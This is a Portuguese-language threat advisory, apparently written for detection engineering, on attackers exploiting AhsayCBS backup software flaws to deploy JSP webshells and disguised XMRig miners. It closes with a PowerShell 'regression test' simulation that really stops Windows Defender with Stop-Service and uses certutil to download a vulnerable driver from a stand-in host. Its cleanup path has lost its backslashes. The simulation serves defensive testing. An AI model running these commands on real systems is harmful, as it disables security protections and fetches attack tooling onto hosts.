Cibercriminosos Exploram Falhas Críticas do AhsayCBS para Inserir Webshells e XMRig Cryptominer

Resumo

Atores de ameaça estão explorando duas vulnerabilidades críticas no software de backup AhsayCBS para obter execução remota de código não autenticada. Após obter acesso, os atacantes implantam webshells JSP e instalam mineradores XMRig disfarçados como processos do Microsoft Edge. A campanha também usa um script PowerShell assistido por IA projetado para evadir detecção monitorando e interferindo com o Gerenciador de Tarefas do Windows.

Investigação

A Huntress identificou uma cadeia de exploração combinando o CVE-2026-105133 para bypass de autenticação com o CVE-2026-105134 para execução remota de código. Pesquisadores observaram uma utilidade NSSM modificada renomeada para msedge.exe e o driver de kernel vulnerável WinRing0x64.sys sendo usado para fornecer ao minerador acesso de hardware de baixo nível. A atividade pós-exploração também incluiu a criação de um serviço malicioso do Windows chamado MicrosoftEdgeUpdateSvc.

Mitigação

Organizações que executam versões do AhsayCBS até 10.3.4 devem imediatamente limitar o acesso à interface de gerenciamento a endereços IP confiáveis ou conexões VPN. As atualizações de segurança devem ser aplicadas assim que forem liberadas pelo fornecedor. Os administradores também devem monitorar processos filhos suspeitos lançados a partir do executável do serviço AhsayCBS.

Resposta

Quando indicadores de comprometimento são detectados, as organizações devem realizar uma reimagem completa do host a partir de um backup confiável para eliminar potenciais backdoors secundários. Investigar serviços do Windows não autorizados e arquivos suspeitos armazenados em diretórios Temp. Revisar a telemetria de rede para conexões com pools conhecidos de mineração de criptomoedas ou infraestrutura de hospedagem Alibaba Cloud OSS.

Script de Teste de Regressão

• Narrativa de Ataque & Comandos: O adversário explorou com sucesso o serviço AhsayCBS. Para manter a persistência e implantar um minerador, eles primeiro geram uma shell de comando a partir do cbssvcX64.exe processo. Para evadir a detecção, eles lançam um processo nomeado msedge.exe usando o argumento --daemonized , fazendo parecer um processo de navegador em segundo plano legítimo. Eles então usam PowerShell para parar os serviços de segurança (simulado via bloco de script). Finalmente, usam certutil.exe para baixar WinRing0x64.sys, um driver usado para facilitar o acesso de sistema de baixo nível para seu payload de mineração.

• Script de Teste de Regressão:

  # Script de Simulação para Pós-Exploração do AhsayCBS
  # NOTA: Este script simula o comportamento imitando a hierarquia de processos e linhas de comando.
  
  # 1. Simular AhsayCBS gerando cmd.exe (requer contexto específico de paternidade de processo em logs reais)
  # Para fins de simulação, usaremos uma abordagem de processo filho.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo Simulação AhsayCBS" -PassThru
  
  # 2. Simular Processo Demonizado do Fake Edge
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Simular Bloco de Script Malicioso do PowerShell
  $maliciousScript = {
      Write-Host "Tentando desativar defesas..."
      Stop-Service -Name "WinDefend" -Force
      # Simular interação com o Gerenciador de Tarefas
      $taskManager = "Gerenciador de Tarefas"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Simular Download de Driver via Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Comandos de Limpeza:

  # Limpeza: Terminar processos simulados e remover quaisquer artefatos baixados.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue